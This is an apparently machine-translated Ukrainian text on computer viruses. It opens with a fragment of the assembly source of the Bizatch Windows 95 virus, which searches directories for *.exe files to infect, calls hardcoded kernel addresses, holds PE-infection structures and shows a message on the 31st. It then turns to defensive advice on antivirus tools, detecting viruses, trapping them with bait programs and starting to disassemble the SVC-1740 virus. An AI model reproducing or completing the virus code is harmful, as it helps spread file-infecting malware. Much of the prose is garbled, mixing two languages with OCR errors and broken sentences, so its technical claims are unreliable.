;Сменим директорію хоr eax, eax lea edi, [ebp+offset tempdir] mov ecx, 256/4 rep stosd lea edi, [ebp+offset tempdirl] mov ecx, 256/4 rep stosd.

;Получим поточну директорію lea esi,[ebp+offset tempdir] push esi push 255 call GetCurDir.

;Сменим директорію на ". «.

lea eax, [ebp+offset dotdot] push eax call SetCurDir.

;Получим поточну директорію lea edi,[ebp+offset tempdirl] push edi push 255 call GetCurDir.

;Проверим, коренева це директорія. Якщо можна, то виходимо mov ecx, 256/4 rep cmpsd jnz infectdir.

; «3аметаем сліди «і виходимо в программу-носитель outty:

;Возвратимся в оригінальну поточну директорію lea eax,[ebp+offset orgdir] push eax call SetCurDir.

;Получим поточну дату і время.

lea eax, [ebp+offset systimestruct].

push eax call GetTime.

;Проверим число. Якщо це 31-ое, видаємо повідомлення cmp word ptr [ebp+offset day], 31 jnz nopayload.

;Сообщение для пользователя.

push 1000h ;MB_SYSTEMMODAL lea eax, [ebp+offset boxtitle] push eax lea eax, [ebp+offset boxmsg] push eax push 0 call MsgBox.

;Выход в программу-носитель nopayload: pop eax jmp eax.

;Когда KERNEL буде виявлено, його відставку прописано kern dd OBFF93B95h.

;Значения KERNEL, знані нами kern1 dd OBFF93B95h kern2 dd OBFF93C1Dh.

;Чтение поточної директорії GetCurDir:

;3апишем в стік значення щоб одержати поточної директорії і викличемо KERNEL.

push OBFF77744h jmp [ebp+offset kern].

;Установка поточної директорії SetCurDir:

;3апишем в стік значення для установки поточної директорії і викличемо KERNEL.

push OBFF7771Dh jmp [ebp+offset kern].

;Получение часу й дати GetTime:

;Проверим, який KERNEL працює cmp [ebp+offset kern], OBFF93B95h jnz gettimekern2.

;3апишем в стік значення щоб одержати ;часу й дати й викличемо KERNEL.

push OBFF9DOB6h jmp [ebp+offset kern] gettimekern2:

;Запишем в стік значення щоб одержати ;Час та дати й викличемо KERNEL.

push OBFF9Dl4Eh jmp [ebp+offset kern].

;Вывод повідомлення MsgBox:

;Запишем в стік значення висновку повідомлення й викличемо KERNEL push OBFF638D9h jmp [ebp+offset kern].

;Поиск першого файла FindFile:

;Запишем в стік значення на допомогу пошуку першого файла ;і викличемо KERNEL.

push OBFF77893h jmp [ebp+offset kern].

;Поиск наступного файла FindNext:

;Запишем в стік значення на допомогу пошуку ;наступного файла і викличемо KERNEL.

push OBFF778CBh jmp [ebp+offset kern].

;Открытие/создание файла CreateFile:

;3апишем в стік значення для открытия/создания файла ;і викличемо KERNEL.

push OBFF77817h jmp [ebp+offset kern].

;Установка покажчика чтения/записи SetFilePointer:

;Запишем в стік значення для установки ;покажчика чтения/записи файла і викличемо KERNEL.

push OBFF76FAOh jmp [ebp+offset kern].

;Чтение з файла ReadFile:

;3апишем в стік значення для читання з файла і викличемо KERNEL push OBFF75806h jmp [ebp+offset kern].

;3апись в файл WriteFile:

;3апишем в стік значення для запис у файл і викличемо KERNEL push OBFF7580Dh jmp [ebp+offset kern].

;Закрытие файла CloseFile:

;3апишем в стік значення для закриття файла і викличемо KERNEL push OBFF7BC72h jmp [ebp+offset kern].

;Счетчик заражень countinfect db 0.

;Используется на допомогу пошуку файлів win32_data_thang:

fileattr dd 0 createtime dd 0,0 lastaccesstime dd 0,0 lastwritetime dd 0,0 filesize dd 0,0 resv dd 0,0 fullname db 256 dup (0) realname db 256 dup (0).

;Имя повідомлення, виведеного 31-го числа boxtitle db «Bizatch by Quantum / VLAD », 0.

;Сообщение, .виведене 31-го числа boxmsg db «The taste of fame just got tastier! », 0dh db «VLAD. Australia does it again with the world «p.s first Win95 Virus «db Odh. Odh db 9, «From the old school to the new. », 0dh, 0dh db 9, «Metabolis », 0dh db 9, «Qark », 0dh db 9, «Darkman », 0dh db 9, «Quantum », 0dh db 9, «CoKe », 0 messagetostupidavers db «Please note: the name of this virus is [Bizatch] «db «written by Quantum of VLAD », 0.

;Данные про директоріях orgdir db 256 dup (0) tempdir db 256 dup (0) tempdirl db 256 dup (0).

Используется для зміни директорії dotdot db ". «, 0.

;Используется щоб одержати времени/даты systimestruct:

dw 0,0,0 day dw 0 dw 0,0,0,0.

;Индекс на допомогу пошуку файлів searchhandle dd О.

;Маска на допомогу пошуку fname db «*.exe », 0.

;Описатель відкритого файла ahand dd О.

;Смещение РЕ-заголовка в файлі peheaderoffset dd О.

;Смещение таблиці об'єктів ObjedlTableoffset dd О.

;Количество записанных/считанных байт під час роботи з файлом bytesread dd О.

;Новый об'єкт newobject:

oname db " .vlad ", 0,0,0 virtualsize dd 0 RVA dd 0.

physicalsize dd 0 physicaloffset dd 0 reserved dd 0,0,0 objectflags db 40h, 0,0,OCOh.

;Данные, необхідних зараження файла peheader: signature dd 0 cputype dw 0 numObj dw 0 db 3*4 dup (0) NtHeaderSize dw 0 Flags dw 0 db 4*4 dup (0) entrypointRVA dd 0 db 3*4 dup (0) objalign dd 0 filealign dd 0 db 4*4 dup (0) imagesize dd 0 headersize dd 0.

;0бласть пам’яті для читання залишку РЕ-заголовка і таблиці об'єктів vend:

db 1000h dup (0) ends end vstart.

Методи боротьби з вирусами.

Розглянемо різні способи боротьби з вірусами. Отже, що таке антивірус? Відразу ж розвіємо одну часто виникає ілюзію. Чомусь багато хто вважає, що антивірус може знайти будь-який вірус, тобто, запустивши антивірусну програму чи монітор, можна бути абсолютно впевненим у тому надійності. Така думка ні правильна. Річ у тім, що антивірус — це теж іде програма, звісно, написана професіоналом. Але це програми здатні розпізнавати і знищувати не лише відомі віруси. Те є антивірус проти конкретного вірусу може бути написаний в тому разі, коли в програміста є у наявності хоча б тільки примірник цього вірусу. Тому-то й йде ця нескінченна війна" між авторами вірусів і антивірусів, щоправда, перших у нашій країні чомусь більше, ніж других. Та і в творців антивірусів є перевага! Річ у тім, що є велика кількість вірусів, алгоритм яких практично скопійовано з алгоритму інших вірусів. Зазвичай, такі варіації створюють непрофесійні програмісти, котрі з якихось причи-нам вирішили написати вірус. Для боротьби з цими «копіями» придумано нову зброю — евристичні аналізатори. З їхньою допомогою антивірус здатні отримувати подібні аналоги відомих вірусів, повідомляючи користувачеві, що він, схоже, завівся вірус. Природно, надійність евристичного аналізатора не 100%, проте його коефіцієнт корисної дії більше 0,5. Таким чином, у цій інформаційної війни, як, втім, в будь-якій інший, залишаються найсильніші. Віруси, які розпізнаються антивірусними детекторами, здатні написати лише найбільш побачити дослідні та кваліфіковані программисты.

Отже, на 100% захисту від вірусів практично неможливо (мається на увазі, що користувач змінюється дискетами з друзьямии грає у гри, і навіть отримує інформацію з деяких інших источников, например з тенет). Якщо ж ми вносити інформацію в комп’ютер из-вне, заразитися вірусом неможливо — не народиться. Отже, що ж можна порадити, щоб мати справу з вірусами какможно менше, або, по крайнього заходу, лише зіштовхуватися, не допускаяих на жорсткий диск свого вінчестера. У перший чергу — найелементарніші правила «комп'ютерної гігієни»: перевірка дискет на наявність найнадійнішими антивірусними програмами, такими, наприклад, як AVP чи DrWeb. Дуже добре, якби жорсткому диску встановлено ревізор Adinf. Багато користувачі додають рядок запуску ревізорів, антивірусів, антивірусних моніторів в конфигура-ционный файл AUTOEXEC. BAT — також дуже действенно.

Є певні способи боротьби, і з загрузочными вірусами. У установках (SETUP) комп’ютера передбачена захист від запис у MBR. Коли запис починається, BIOS відразу її зупиняє і затребувана підтвердження на дозвіл записи. Природно, слід заборонити запис, та був загрузиться зі своїми, заздалегідь підготовленої, системної дискети. У більшості комп’ютерних користувачів такий дискети немає - а треба було завести. І це ще все. Віруси постійно вдосконалюються, і всі їх розмаїття охопити, звісно, неможливо. Тому потрібно виробити готовність, що рано чи пізно вірус все-таки потрапить на жорсткий диск, і зустріти його потрібно у всеоружии.

Стандартні програми защиты.

Найчастіше вірус, заразивший комп’ютер, допоможуть знайти вже розроблені программы-детекторы. Вони перевіряють, чи є в файлах на зазначеному користувачем диску специфічна для цього вірусу послідовність байт. При виявленні вірусу програма виводить на екран відповідне повідомлення. Варто зауважити, що программы-детекторы не занадто універсальні, оскільки здатні знайти не лише відомі віруси. Деяким таким програмам можна повідомити спеціальну послідовність байт, властиву якогось вірусу, і вони можуть знайти інфіковані їм файли — наприклад, це вміє NotronAntiVirus чи AVSP. Програма Aidstest застаріла і вже мало використовується. Найбільшого торгівлі поширення набули програми DrWeb і AVP. Завдяки своїм новітнім детекторам, можуть знайти будь-які віруси — як найбільш старі, і хіба що що з’явилися. Ще вчора потрібно згадати детектор Adinf. Ця антивірусна програма обнару-живает все віруси, не які змінюють довжину файлів, невидимі віруси, і ще. Отже, ці три програми забезпечать потужну захист проти вірусів. До речі, на заході теж воліють користуватися російськими програмами DrWeb і AVP. Рятуючись від вірусів, створіть потужну захист проти них. Установитена своєму диску AVP, DrWeb і Adinf. Кожна програма хороша по-своєму — нехай захист буде багаторівневої. Всі ці програми можна вписати у файл AUTOEXEC. BAT, тоді за мінімального завантаження комп’ютера перевірка на зараження вірусом буде проводитися автоматично. Завжди перевіряйте файли, які потрапляють на ваш комп’ютер. Кожен із них то, можливо заражений вірусом, це слід пам’ятати. Ніколи не дозволяйте стороннім працювати вашому комп’ютері - і вони найчастіше приносять віруси. Окрему увагу слід приділяти ігорчастіше всього віруси поширюються у такий спосіб. Нові ігри та зовсім програми завжди потрібно перевіряти на вирус.

Пошук вируса.

Коли під час роботи комп’ютер починає поводитися якось незвичайно, перша думку, мінлива на розум кожному користувачеві - не вірус це. У цій ситуації важливо правильно оцінити свої підозри і робити висновків. Зазвичай, людина, у якого деяким досвідом та володіє відповідним програмним інструментарієм, справляється з цим завданням без особливих труднощів. Найскладніша ситуація — коли дей-ствовать доводиться в «польових» умовах, наприклад, у чужій машині. Типовий варіант: стандартна PC (286, 386… Pentium), принаймні 1Мбайт ОЗУ, як мінімум 400Мбайт HDD; можливо наявність принтера, звуковий карти, CDD і іншої периферії. Програмне забезпечення: Windows 95, можливо Windows 3.1x, але працюють однаково під DOS. Джентльменський набір: Norton Commander 3.0−5.0, Norton Utility 6.0−8.0, свіжі антивіруси: AidsTest і DrWeb, русифікатори, архиваторы, резидентные програми розвитку й інше. Як обов’язкову умову — наявність явно «чистої» захищеної від записи завантажувальної дискети, що містить (хоча в урізаному вигляді) вищезгаданий комплект програм. Отже, на думку хазяїна комп’ютер поводиться дивно. Наприклад, програми, котрі працювали правильно, починають давати збої чи взагалі перестають запускатися, комп’ютер періодично «висне», екран і динамік відтворюють незвичні відеоі аудиоэффекты. Чтобудем делать?

1. Саджаємо собі хазяїна комп’ютера та докладно розпитуємо його про події, попередніх виникненню збоїв. З’ясувати потрібно таке. Ким як і використовується машина? Якщо співробітники чи господар часто приносять дрібні іграшки, гороскопи, встановлюють, і стирають різні бухгалтерські програми, то ймовірність наявності вірусу в машині дуже висока. Великі іграшки, які важко поміщаються навіть у упакованому вигляді у коробку дискет, переносяться з машини на машину рідко. Водночас, найчастіше, старанно перевіряються на наявність вірусів. a) Коли помічені симптоми вірусу? Деякі віруси люблять приурочувати своєї діяльності до дати або часі: 1 травня, 7 листопада, 13-те число, п’ятниця, на п’ять годин вечера, а також 6 березня, 15 листопада, 11-та хвилина кожної години. b) Не чи пов’язані зміни у роботі комп’ютера з цим запуском якийабо програми? Якщо можна, ця програма — перша група у черги на.

«медкомісію». з) Не пов’язане поява симптомів зараження з розпакуванням якогоабо старого архіву і запуском програм потім із нього? Деякі сучасні антивіруси (AVP, DrWeb) вміють перевіряти архіви найпопулярніших форматів. Однак зрідка ещевстречаются архіви .ice,.

.arc, .zoo, .bsa, .uc2, .ha, .pak, .chz, .eliи інші - їх антивіруси діагностувати що неспроможні. d) Немає чи господар (господиня) комп’ютера звичку залишати дискети в дисководу при перезавантаженні? Завантажувальний вірус може роками жити на дискеті, ніяк не проявляя.

2. У присутності хазяїна (господині) включаємо комп’ютер. Уважно стежимо за процесом завантаження. Спочатку запускається программаPOST, записаний у ПЗУ BIOS. Вона тестує пам’ять, тестує иинициализирует інші компоненти комп’ютера та завершується коротким одиночним гудком. Якщо «вірус» поводиться нинішньому етапі - там ні до чого. Теоретично вірус може існувати й в BIOS: передбачається, перші віруси завезеними на територію СРСР «приїхали» всередині болгарських ПЗУ (сучасні ПЗУчасто є «постійними запоминающими пристроями», передбачають можливість перезапису BIOS).

3. У присутності хазяїна (господині) намагаємося викликати незвичну поведінку комп’ютера. а) Ідеально, якщо вірус (якщо ця справді він) самостійно сповіщає всіх про присутність, наприклад, виводить на екран повідомлення типу. Віруси проявляються у різний спосіб: програють мелодії, виводять на екран сторонні картинки і написи, імітують апаратні збої, примушуючи тремтіти екран. Але, до сожалению, чаще всього віруси спеціально не виявляють. До антивирусным програмам додаються каталоги з описами вірусів (для.

AidsTest вони в файлі aidsvir. txt, для DrWebв файлі virlist. web). Найповнішим є гіпертекстову каталог avpve, входить до складу антивірусного пакета Є. Касперского. У ньому як прочитати досить докладний опис будь-якого вірусу, а й поспостерігати його прояви. Від справжніх вірусів слід відрізняти звані «студентські жарти», особливо поширені за комп’ютерами вузів і шкіл. Зазвичай, це резидентные програми, які періодично виробляють схожі на роботу вірусів відеоі аудиоэффекты. На відміну від якихось справжніх вірусів, ці програми не вміють розмножуватися. Наявність такої роду програм на «бухгалтерських» комп’ютерах малоймовірно. б) Найчастіше збої викликаються вірусами не навмисно, а лише силу їх несумісність із програмної середовищем, виникає через наявність у алгоритмі вірусу помилок, і неточностей. Коли якась программа.

«зависає» під час спроби запуску, існує велика ймовірність, що вона заражена вірусом. Якщо комп’ютер «висне» у процесі завантаження (після завершення програми POST), то, при допомоги покрокового виконання файлів config. sys і autoexec. bat (клавіша F8 в.

DOS б. х) можна легко визначити джерело сбоев.

4. Не перевантажуючи комп’ютер, запускаємо (можна просто з вінчестера) антивірус, найкраще DrWeb з ключем /hal. Вірус (якщо є) спробує негайно заразити DrWeb. Останній досить надійно детектирует цілісність свого коду у разі чого виведе повідомлення «Я заражений невідомим вірусом!» Якщо й станеться, присутність вірусу у системі доведено. Уважно дивимося на діагностичні повідомлення на кшталт «Файл такий-то МОЖЛИВО заражений вірусом такого-то класу» (СОМ, EXE, TSR, BOOT, MACROи т.п.).

Підозри на ВООТ-вирус в 99% бувають виправдані. Якось DrWeb 3.20.

«лаявся» на ВООТ-сектор дискети, «вилікуваної» AidsTest від вируса.

LzExe, тому антивірусним програмам також можна довіряти. Наявність великої кількості файлів, може бути заражених вірусом однієї й тієї ж самого класу, з великою достовірністю свідчить про присутність у комп’ютері невідомого вірусу. Але можуть і винятку — DrWebверсии 3.15 і від активно «лаявся» на стандартні DOC-компоненты WinWord 2.0. З іншого боку, DrWeb визначає його присутність серед пам’яті комп’ютера невідомих резидентных вірусів и.

Stealth-вирусов. Помилки за її визначенні (на минулих версіях антивірусу) зустрічаються досить рідко. Версія 3.15, не вміє лікувати вирус.

Kaczor, справно запідозрила наявність агресивного резидента у пам’яті. А версія 3.18, вміє його лікувати, в інфікованої системі нічого не помітила, а детектировала і вилікувала вірус лише за завантаженні з чистою дискети. Заодно слід пам’ятати, що попередження типу «Дивна дата файла», поодинокі підозри на.

СОМ-, ЕХЕ-вирусы та інші навряд чи зможуть розцінити як безспірне доказ наявності вірусу. MACRO-вирусы живуть тільки у Windows і жодного негативного впливу DOSпрограми надати що неспроможні, крім того випадку, що вони щось стерли в Windows-сеансе.

5. Нерідко збої бувають викликані природними причинами, никако-го ставлення до вірусам які мають. a) Апаратні збої. Виключити таку можливість допоможе загрузкас чистої дискети і запуск (з неї) діагностичної програми ndiags. Тестуємо пам’ять, основну плату, порти й інше. Іноді достатній простий зовнішній огляд комп’ютерато, можливо, щось неправильно включено. b) Порушення у логічній структурі диска. Завантажуємося з чистою дискети і запускаємо (з неї) ndd. Спочатку просто відзначаємо наявність ошибок.

(перехресних ланцюжків, втрачених кластерів тощо). Якщо помилок дуже багато і переважна їх кількість належить до СОМі ЕХЕфайлам, то у жодному разі не можна виконувати операцію виправлення помилок: це то, можливо DIR-подобный вірус, і такий «лікування» диска може стати багатьох програм фатальним. Якщо помилки є держава й їх відносно небагато, ризикуємо і лікуємо диск. Знову завантажуємося з вінчестера. Збої зникли? з) Конфлікти між різними компонентами операційної системи й прикладними програмами. Особливо «шкідливими» є дискові драйверы-обманщики, активно видоизменяющие (нехай і з благородними цілями) інформацію, считываемую чи записувану на диск:

— дискові кеш (SMARTDRV, NC_CASHE);- пакувальники дисків (DblSpace,.

DrvSpace, Stacker);

— системи безпеки (антивірусні монітори типу PROTECT, HDPROT,.

ADM й інші, системи розмежування доступу DISKMON, DISKREET).

Нерідко дають збої застарілі пристыковочные системи захисту від несанкціонованого копіювання, типу NOTA чи CERBERUS.

6. Нарешті, найцікавіший випадок — вірус року виявлено, але підозри з його наявність досі залишаються. Достаточноподробно цієї теми виклав Є. Касперський у своїй книжці, обрані фрагменти якої можнонайти в гіпертекстовому каталозі avpve тієї самої автора. Остаетсятолько привести стисле вищенаведене викладення цих глав з уточненнями і зауваженнями (то, можливо, дуже спорными).

а) Виявлення завантажувального вірусу. Завантажуємося з чистою дискетыи, запустивши DiskEditor, зазираємо до легального сектора 0/0/1 вінчестера. Якщо вінчестер розділений (з допомогою fdisk) на логічні диски, то код займає приблизно половину сектори й начинаетсяс байт FAh 33h C0h.

(замість 33h іноді то, можливо 2Вh). Закінчуватися код повинен текстовими рядками типу. Наприкінці сектора розміщуються зовні розрізнені байти таблиці розділів. Потрібно звернути увагу до розміщення активного розділу в таблиці розділів. Якщо операційна система розташована на диску З, а активний 2, 3 чи 4 розділ, то вірус міг змінити точку старту, сам розмістивши на початку іншого логічного диска (заодно треба подивитися де він). Але і це може говорити про наявність машиною кількох операційними системами і якогоабо boot-менеджера, забезпечує вибіркову завантаження. Перевіряємо всю нульову доріжку. Якщо вона чиста, тобто її сектора утримують тільки байт-заполнитель, гаразд. Наявність сміття, копій сектора 0/0/1 тощо може говорити про присутність завантажувального вірусу. Втім, антивіруси прилечении завантажувальних вірусів лише противника (відновлюють вихідне значення сектора 0/0/1), залишаючи тіло на нульової доріжці. Перевіряємо boot-сектор MS-DOS, він лежить у секторі в 0/1/1. Її зовнішній вигляд длясравнения можна знайти як і вищезгаданої книзі Є. Касперского, і про всяк машині. Отже, якщо вірус виявлено, з допомогою DiskEditor переписуємо в файл зараженныйобъект: MBR 0/0/1 (а краще всю нульову доріжку), boot 0/1/1и решта. Бажано відправити цей комплект вирусоло-гам. Копію, за бажання, залишаємо собі - для дослідів. б) Виявлення файлового вірусу. Нерезидентные файлові віруси спеціально не приховують свого наявності у системі. Тому основною ознакою зараження файла є збільшення його довжини, яке легко помітити навіть у інфікованої операційній системі. Резидентные віруси можуть приховувати зміна довжини файла (та й взагалі наявність свого коду всередині файла-жертвы), якщо їх написано по Stealth-технологии. Але у завантаженні з дискети можна побачити. Деякі вирусыне змінюють довжину заражаемых програм, використовуючи ділянки всередині файла програми чи кластерний файла, розташований після останнього заповненого сектора. І тут основна ознака зараження — зміна контрольної суми байт файла. Це легко виявляють антивирусы-инспектора типу Adinf. Як крайнього заходу так можна трактувати пряме вивчення коду програм, подозрительныхс погляду наявності у них вірусу. Один із кращих програмних засобів для оперативного вивчення коду вірусів — програм-ма HackerView.

(hiew.exe by SEN). Але, оскільки комп’ютер чужій, hiew, td, softice, ida та інших програм у ньому може просто більше не оказаться.

Зате стандартныйотладчик debug присутній точно. Завантажуємо подозреваемуюна наявність програму (у чистій операційній системе) в пам’ять з допомогою команди debug. Команда і дозволяє дизассемблировать фрагмент коду, команда dпереглянути її в шестнадцатеричном форматі, команда g запускає програму виконання з остановом в указан-ной точці, команда t забезпечує покрокову трассировку кода, команда r відображає поточне вміст регістрів. Щоб ви-зуально розпізнати наявність за кодом, звісно, необходимопределенный досвід. На що треба звертати особливе внимание:

— Наявність у початку програми послідовності команд такого типу вкрай подозрительно:

Start:

call Metka Metka: pop.

— Наявність у початку файла рядків типу, чи передбачає обробку програми відповідним упаковщиком; якщо початок програми зовсім позбавлений послідовності команд, притаманних пакувальника, не виключений факт її заражения.

— Програми, написані мовами високого рівня, часто перебувають у своєму початку сегмент коду, потім сегмент даних. Наявність чергового сегмента коду, располагающегося наприкінці файла програми, дуже подозрительно.

— Підозра викликають які працюють у початку програми, написаної мовою високого рівня, фрагменти видозміни власного коду, виклики DOSчи BIOS-прерываний та інші. Бажано візуально пам’ятати характерні початку програм, скомпільованих у тому чи іншого системі програмування (на-приклад, початку програм, написаних на.

Turbo Pascal, містять дуже багато далеких викликів підпрограм call xxxx: xxxx).

— Нарешті, наявність засвідчують рядки типу всередині файла.

7. Ловля вірусу. Отже, скажімо, що наявність у системі доведено однією з запропонованих вище методів, і заражені вірусом об'єкти визначено. Нині можна розпочати вивчення вірусу і вирушити вслід для цього, спробувати видалити його з машини. Бажано послати зразок вірусу професійним вірусологам. Тому необхідно виділити вірус в чистому вигляді. а) Виділення завантажувального вірусу. Як мовилося раніше вище, есливи русич заразив вінчестер, необхідно з допомогою програми DiskEditor зберегти в файлі образ зараженого об'єкта (наприклад, сектора 0/0/1 чи всією нульової доріжки). Але, як відомо, завантажувальні віруси лише у системних областях вінчестера, розмножуються вони, заражаючи системні області дискет. Тому дивимося на лицьову панель комп’ютера. Еслив наявності дисководи обох типів (3.5 «і 5.25 »), доведеться відформатувати 4 дискети на виборах 4 стандартних формату: 360 Кбайт, 720.

Кбайт, 1.2 Мбайт і 1.44 Мбайт. Потім за допомоги програми DiskEditor уважно роздивимося і постараємося запам’ятати зовнішній вигляд bootсекторів цих дискет (0/0/1), хоча б перші байти (природно, це на чистої машині). Вставляємо не захищені від записи дискети почергово в дисководи машини та (обов'язково) звертаємося до них: намагаємося прочитати каталог, записати, прочитати усунути будь-які файли. Нарешті, на чистої машині при помощи.

DiskEditor знову переглядаємо сектор 0/0/1. Коли будь-якої дискетеон змінився, з допомогою тієї самої DiskEditor знімаємо образ всієї дискети в файл. Вірус впійманий. Можна упакувати файл якимось архиватором і послати його вирусологу. Деякі хитрі віруси зберігають своє тіло на додаткової, спеціально отформатированной доріжці, так званому інженерному циліндрі дискети. І тут без пакета копіювання ключових дискет типу fda, teledisk чи copymaster замало. б) Виділення резидентного вірусу. Як відомо, резидентный вірус постійно перебуває у пам’яті ПЕОМ, обираючи жертву для заражения.

Найчастіше як жертви виступають запущені програми. Проте файли програм можуть заражатися під час відкриття, копіюванні на дискету чи з неї (вірус OneHalf), вчасно пошуку з допомогою DOS-функций.

FindFirst чи FindNext. Необхідно підібрати підходящого претендента на зараження — невелику програму простий структури, приманку. Деякі віруси намагаються розпізнати приманку і зрікаються її зараження. Не підходять з метою занадто короткі програми чи такі, більшість яких тільки з повторюваних байт.

(наприклад, 90h — код команди NOP). Як принади з більшим успіхом можна використовувати програми test. coin і test.exe. От їх вихідні текстына мові Assembler.

test.com.

cseg segment assume cs: cseg, ds: cseg, ss: cseg org 100h Start: db 1249 dup (OFAh, 90h, OFBh, OF8h) mov ah, 4Ch int 21 h cseg ends End Start.

test.exe.

cseg segment assume cs: cseg, ds: cseg Start: db 1000 dup (0FAh, 90h, 0FBh, 0F8h) mov ah, 4Ch int 21 h cseg ends sseg segment stack assume ss: sseg db 118 dup (OFAh, 90h, OFBh, OF8h) sseg ends End Start.

Скопируем принади на заражену машину. Виконаємо з них якнайбільше операцій: запустимо, скопіюємо деінде вінчестера і дискету, переместим, переглянемо в NC і DOS (командою dir). У цьому бажано кілька разів поміняти системне час і дату, оскільки віруси нерідко активні не щодня і цілодобово. Щоб виключити Stealth-эффект, загрузимся з чистою дискети і розглянемо уважно ці файли. Як правило, досить буває проконтролювати розмір файлів і переглянути їх код припомощи F3 — наявність визначити нескладно. в) Виділення нерезидентного файла. Найбільш неприємний випадок. Поза тим, що вірус нерідко коверзує, розпізнаючи приманку, і досі відмовляється працювати, ще й заражаемость програм залежить від їхнього розташування на вінчестері. Одні нерезидентные віруси заражають лише нинішнього каталозі, інші - лише у підкаталогах 1-го рівня, треті - в каталогах, вказаних у рядку path системної середовища (Vienna), четверті - в всіх каталогах вінчестера. Тому скористаємося програмою типу rt, чтобыскопировать принади в усі каталоги диска (запускаємо з кореневого каталога):

rt copy a: test.* .

Точка наприкінці - символ поточного каталогу. Потім їх можна буде потрапити удалить:

rt del test.*.

Тепер вибираємо явно заражену програму і запускаємо її N раз, постоянно змінюючи час і дату. Проконтролювати зміна довжини допоможе той самий програма rt: rt dir test.* >test.txt.

Отримуємо файл test. txt, у якому список файлів test.* з указаниемих довжини. Вибираємо той файл принади, який змінив длину.

Ось вірус і пойман.

Як досліджувати алгоритм роботи вируса.

Ситуація, коли комп’ютер виявився заражений невідомим вірусом, трапляється часто-густо, але цілком не рахуватися таку можливість не можна. Вище розглядалися способи виявлення вірусу і виділення їх у чистому вигляді. Зараз переходимо до дослідження алгоритму роботи файлових вірусів на шляху успішної боротьби з ними.

1. Перш ніж можливість перейти до розгляду цієї питання, пригадаємо неко-торые принципи функціонування MS DOS. Структура СОМі ЕХЕ-программ.

Власне кажучи, слід відрізняти СОМі ЕХЕ-программы від СОМі ЕХЕфайлів. Річ у тім, що на даний час розширення СОМ чи ЕХЕ є просто ознакою (до речі, необов’язковим) яку запускає програми. Спосіб завантаження програми на згадку про і його запуску визначається операційній системою з формату программы.

Це часто вже не враховували автори перших вірусів, що призводило знищення деяких програм замість їх зараження. СОМ-программа є частина коду та об'єктивності даних, яка починається з виконуваної команди, і займає трохи більше 64Кбайт. Наприклад, таку структуру має командний процесор COMMAND. СОМ операційній системы.

MSDOS до версії 6.22 включно. Структура ЕХЕ-программы набагато складніше. На початку файла ЕХЕ-программы розташовується заголовок (див. додаток). Поля ReloCS і ExelP визначають розташування точки входу у програмі, поля ExeSP і ReloSS — розташування стека, поля PartPagи.

PageCnt — розмір кореневого сегмента програми. Розмір деяких програм, розрахована полями PartPag і PageCnt, може збігатися із реальним розміром файла. Такі програми називаються чи. Досвідчені автори вірусів уникають заражати таких програм. Після заголовка може розміщатися спеціальна таблиця, точне розташування визначається полем TablOff, а розмір — полем ReloCnt. У таблиці зберігаються адреси тих слів в коді програми, які модифікуються операційній системою у времязагрузки программы.

Наприклад, переглядаючи файл програми припомощи утиліти HackerView, можна побачити команду call0000:1234h. У процесі завантаження программы.

MS-DOS підставить замість нулів потрібний сегментний адресу, і буде працювати коректно. До речі, тоді як полі TablOff зазначено число 40h чи більше, то, швидше за все, це програма в форматі Windows.

Такий формат має, наприклад, командний процесор Windows 95.

COMMAND.COM. Попри свою розширення, він має у початку знамениті символи й довжину 95Кбайт.

2. Приступаємо до дослідження конкретного файлового вірусу та розробки алгоритму його. Як жертви візьмемо широковідомий у початку 90-х вірус SVC-1740. Вибір визначився такими обстоятельствами:

— це надзвичайно простий вірус з чіткою структурой;

— не містить деструктивних функций;

— зовсім позбавлений грубих помилок в алгоритме;

— він стандартно заражає СОМі ЕХЕ-программы.Запустив SVC вірус у своїй машині, можна спостерігати такі його прояви. а) У MS-DOS встигли заразитися файли ARCVIEW. EXE, HIEW. EXE і LEX.EXE. Через війну HackerView, перевіряючий цілісність свого коду, відмовився працювати, повідомивши: .

6) Windows 3.11 і Windows 95 спочатку запустилися коректно, нозатем продемонстрували різнобарвні горизонтальні смуги в видеорежиме.

800×600×256 (вірус не заражав будь-які драйвера, просто момент старту Windows у пам’яті перебував вірусний оброблювач переривання INT.

21h). Зцілення прийшло після використання антивірусів: DrWeb з: /з р

/а1 і AidsTest з: /f /g /q.

3. З допомогою раніше описаних методів заразим дві принади: TEST.COM и.

TEST.EXE. Збільшення їх довжини на 1740 байт можна лише машиною (Stealth-эффект). Кілька слів про про инструментарии.

Власне кажучи, вибір дизассемблеров дуже широкий. Свого часу була відома програма DisDoc. За визнанням Є. Касперского, він активно користується інтерактивним дизассемблером IDA. Швидко переглянути код програми дозволяє утиліта HackerView; Також можливо використання будь-якого отладчика. У разі з вивчення коду заражених приманок використовувався дизассемблер Sourcer v5.04. Незважаючи наотсутствие деяких корисних опцій та системні помилки при дизассемблировании (досить рідкісні), користуватися програмою зручноупаковані PkLite, на неї припадає на дискеті всього 48 Кбайт.

Отже, запускаємо дизассемблер командою sr test-сом. На екрані з’явилася темно-синя лицьова сторінка. Натиснувши клавішу, можна перейти на сторінку опцій. Рекомендується встановити опцію.

— обов'язково дизассемблировать фрагмент програми, располагающийся після команд jmp/ret/iret — це дозволяє їм отримати ассемблерный код тих фрагментів програм, у яких немає явного переходу (процедури обробки переривань, приховані підпрограми і такдалее). Натиснувши Enter, повернемося на першу сторінку. Запустимо процес дизассемблирования натисканням клавіші. Залежно від продуктивності комп’ютера, процес дизассемблирования триває отнескольких секунд за кілька хвилин. Для грубої оцінки розміру лістингу можна взяти, що перший кілобайтів коду відповідає десяти-п'ятнадцяти килобайтам тексту. 6740 байт зараженої приманкидают 96Кбайт текста+файл test.sdf. Цей дуже цікавий файл зберігає у текстовому вигляді як опції, використані при дизассемблировании, і параметри отриманого тексту (розміщення фрагментів коду та об'єктивності даних, місце розташування символічних імен тапрочее).Если змінити ці параметри, перейменувати файл в test. def і її Sourcer в командної рядку як параметра, то дизас-семблер працюватиме у відповідність до новими інструкціями. Аналогічну операцію проробимо для файла test.exe.

4. Займемося аналізом отриманого лістингу. Побіжно вивчаючи заражені принади, видим:

— файли збільшили свою довжину на 1740 байт;

— у тому кінці явно видно сторонні коды;

— змінилося час створення файлів, точніше, змінилося кількість секунд — вона стала рівним 60;

— на початку файла test.com з’явилася команда jmp;

— в заголовку файла test. exe змінилися значення полів ReloCS, ExelP,.

ExeSP, ReloSS, PartPag і PageCnt. Итак.

а) На початку вірусного коду міститься послідовність команд вида:

call sub1 sub1: pop si sub si, 3.

